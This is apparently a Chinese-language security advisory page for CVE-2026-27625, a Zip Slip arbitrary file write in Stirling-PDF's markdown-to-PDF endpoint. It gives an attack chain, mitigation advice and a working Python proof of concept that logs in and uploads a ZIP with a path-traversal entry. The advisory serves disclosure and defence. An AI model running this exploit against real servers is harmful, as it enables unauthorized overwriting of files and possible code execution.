IPBUF安全漏洞报告
English
CVE-2026-27625 CVSS 8.1 高危

CVE-2026-27625 Stirling-PDF 任意文件写入漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-27625
漏洞类型
任意文件写入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Stirling-PDF

相关标签

任意文件写入路径遍历Zip SlipStirling-PDFCVE-2026-27625

漏洞概述

Stirling-PDF在2.5.2之前的版本中存在安全漏洞。`/api/v1/convert/markdown/pdf`接口未对用户提供的ZIP条目进行路径检查,导致经过身份认证的用户可以利用该漏洞在预期目录之外写入任意文件,从而破坏数据完整性。

技术细节

该漏洞的核心在于Stirling-PDF未能正确验证ZIP文件内部条目的路径。在`/api/v1/convert/markdown/pdf`端点处理用户上传的ZIP压缩包时,应用直接解压文件,而未过滤包含“../”等目录遍历序列的文件名。这允许经过身份验证的攻击者实施“Zip Slip”攻击,将恶意文件写入到应用程序预期的临时目录之外的任意位置。由于Stirling-PDF通常以特定用户身份运行,攻击者可以覆盖该用户有写权限的任意文件(如配置文件、脚本或Web资源),从而破坏系统完整性。虽然初始影响主要限于数据完整性,但如果能覆盖可执行的Web文件或配置,可能导致权限提升或远程代码执行。

攻击链分析

STEP 1
侦察与认证
攻击者发现目标运行Stirling-PDF,并获取有效的低权限用户账号。
STEP 2
构造恶意Payload
攻击者创建一个特制的ZIP文件,其中包含带有路径遍历字符(如../)的文件名,旨在将文件解压到临时目录之外。
STEP 3
发送恶意请求
攻击者使用认证后的Session向`/api/v1/convert/markdown/pdf`端点上传该恶意ZIP文件。
STEP 4
触发漏洞写入
服务端解压ZIP文件时未校验路径,导致攻击者指定的文件被写入到系统的任意可写位置,破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io # Target configuration target_url = "http://localhost:8080/api/v1/convert/markdown/pdf" login_url = "http://localhost:8080/api/v1/auth/login" username = "attacker" password = "password" # Create a requests session session = requests.Session() # Step 1: Authenticate to get a valid session login_payload = { "username": username, "password": password } login_response = session.post(login_url, json=login_payload) if login_response.status_code != 200: print("Login failed") exit() # Step 2: Create a malicious ZIP file using Zip Slip technique # This attempts to write a file outside the extraction directory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # The path "../../tmp/pwned.txt" tries to escape the temp folder zf.writestr("../../tmp/pwned.txt", "This is an arbitrary file write via CVE-2026-27625") zip_buffer.seek(0) # Step 3: Send the exploit payload files = { 'file': ('exploit.zip', zip_buffer, 'application/zip') } response = session.post(target_url, files=files) print(f"Exploit sent. Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Stirling-PDF < 2.5.2

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应通过防火墙或反向代理规则禁用或严格限制对`/api/v1/convert/markdown/pdf`API端点的访问权限,仅允许内部可信IP调用。此外,应检查系统中是否存在被异常修改的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表